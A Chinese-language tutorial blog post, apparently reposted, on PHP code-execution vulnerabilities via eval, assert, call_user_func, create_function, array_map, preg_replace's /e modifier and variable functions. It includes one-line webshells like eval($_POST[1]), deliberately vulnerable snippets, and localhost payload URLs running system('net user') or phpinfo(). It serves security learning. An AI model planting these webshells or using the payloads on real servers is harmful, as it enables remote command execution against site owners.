PHP代碼執行漏洞


前言

 最近的日子簡簡單單 早上起來健身+散打來一套 看看電視劇學習學習吃吃飯一天就結束了emmmm太快了一天 所以要更加努力!更加勤奮!

PHP代碼執行漏洞

有的應用程序中提供了一些可以將字符串作為代碼執行的函數,例如PHP中的eval函數,可以將改函數的參數當做PHP代碼來執行。如果對這些函數的參數控制不嚴格,就可能會被攻擊者利用,執行惡意代碼

 1. eval函數

eval函數把字符串作為PHP代碼執行

<?php eval("$_POST[1]")?>

 

 

 

 

 2. assert函數

assert函數檢查一個斷言是否為FALSE

<?php assert($_POST[1])?>

 

 

 

 3.call_user_func函數

call_user_func函數把第一個參數作為回調函數調用

函數語法:mixed call_user_func ( callable $callback , array $param_arr )

第一個參數callback是被調用的回調函數,其余參數是回調函數的參數

<?php call_user_func($_POST['fun'],$_POST['arg'])?>

 

此代碼為一句話木馬的變形代碼,通過POST型fun參數調用了system函數,通過POST型arg參數傳入net user命令,執行了system(‘net usert’),返回當前用戶信息

 

 

4. call_user_fun_array函數

call_user_func_array函數把第一個參數作為毀掉函數調用,把參數參數函數組作為回調函數

函數語法:mixed call_user_func_array ( callable $callback , array $param_arr )

 

call_user_func_array函數把第一個參數作為回調,把參數數組作為回調函數的參數傳入

<?php call_user_func_array($_POST['fun'],$_POST['arg'])?>

 

5.create_function函數

create_function函數根據傳遞的參數創建匿名函數,並為該匿名函數返回唯一的名稱

函數語法:string create_function(string $arges , string $code)

 

 示例代碼:

<?php

$id=$_GET['id'];

$code='echo'.$func.'test'.$id.'.';

create_function('$func',$code);

 ?>

create_function函數會創建虛擬函數轉變成如下代碼

<?php

$id=$_GET['id'];
function func($func){
  echo "test".$id;

}

 ?>

 

當id傳入1;}phpinfo();/*時 就可以造成代碼執行

Payload: 

http://127.0.0.1/test.php?id=1;}phpinfo();/*

 

 

 

 

 

6. array_map函數

array_map函數為數組的每個元素應用回調函數

函數語法:array array_map(callable $callback,array $array[,array $array2…])

 

array_map函數返回為每個數組元素應用callback函數之后的數組。Callback函數形參的數量傳給array_map函數的數組的數量必須相同

<?php
  $func=$_GET['func'];
 $argv=$_GET['argv'];
  $array[0]=$argv;
  array_map($func,$array);

 ?>

 

Payload: 

http://127.0.0.1/test.php?func=system&argv=net user

 

 

 

 

 

 7.preg_replace函數

preg_replace函數執行一個正則表達式的搜索和替換

語法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

 

搜索 subject 中匹配 pattern 的部分, 以 replacement 進行替換。

<?php
$subject="hello hack";
$pattern='/hack/';
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject)
 ?>

 

Payload:

http://127.0.0.1/test.php?name=xiaohua

 

 

 

 

Preg_replace函數會將hack替換成xiaohua,輸出hello xiaohua

Preg_replace函數存在模式修飾符,其中,修飾符e會讓preg_replace函數替換后的字符串作為PHP代碼去執行。

如果設置了這個被棄用的修飾符,preg_replace函數對替換字符串進行后向引用替換之后,將替換后的字符串作為PHP代碼執行(以eval函數方式),並使用執行結果作為實際參與替換的字符串。單引號、雙引號、反斜線(\)和null字符在后面向引用替換時會被自動加上反斜線轉義。

<?php
$subject="hello hack";
$pattern='/hack/e';
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject)
 ?>

 

Payload: 

http://127.0.0.1/test.php?name=phpinfo()

 

PHP可變函數

Php支持可變函數的概念:如果一個變量名后有圓括號,PHP將尋找與變量的值同名的函數,並且嘗試執行它。這就意味着在PHP中可以把函數名通過字符串的方式傳給一個變量,然后通過此變量動態地調用函數

 

<?php 
 function foo(){
    echo "foo";
    echo "<br>";
 }

 function bar(){
     echo "bar";
     echo "<br>";
 }

 function echoit($string){
  echo $string;
   echo "<br>";
 }

 $func='foo';
 $func();
 $func='bar';
 $func('test');
 $func='echoit';
 $func('test')
 ?>

 

 

雖然PHP可變函數給開發人員帶來了極大地便利,但同時也帶來了極大地安全隱患,如果函數的名稱可以被用戶控制,而且沒有做好過濾,就可能會造成惡意函數的執行。

Php可變函數漏洞示例代碼:

<?php 
 function foo(){
    echo "foo";
    echo "<br>";
 }

 function bar($arg=''){
     echo "bar";
     echo "<br>";
 }

 function echoit($string){
  echo $string;
   echo "<br>";
 }

$func=$_REQUEST['func'];
$string=$_REQUEST['string'];
echo $func($string);

 ?>

 

 

 

參考學習:《web安全原理分析與實踐》

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM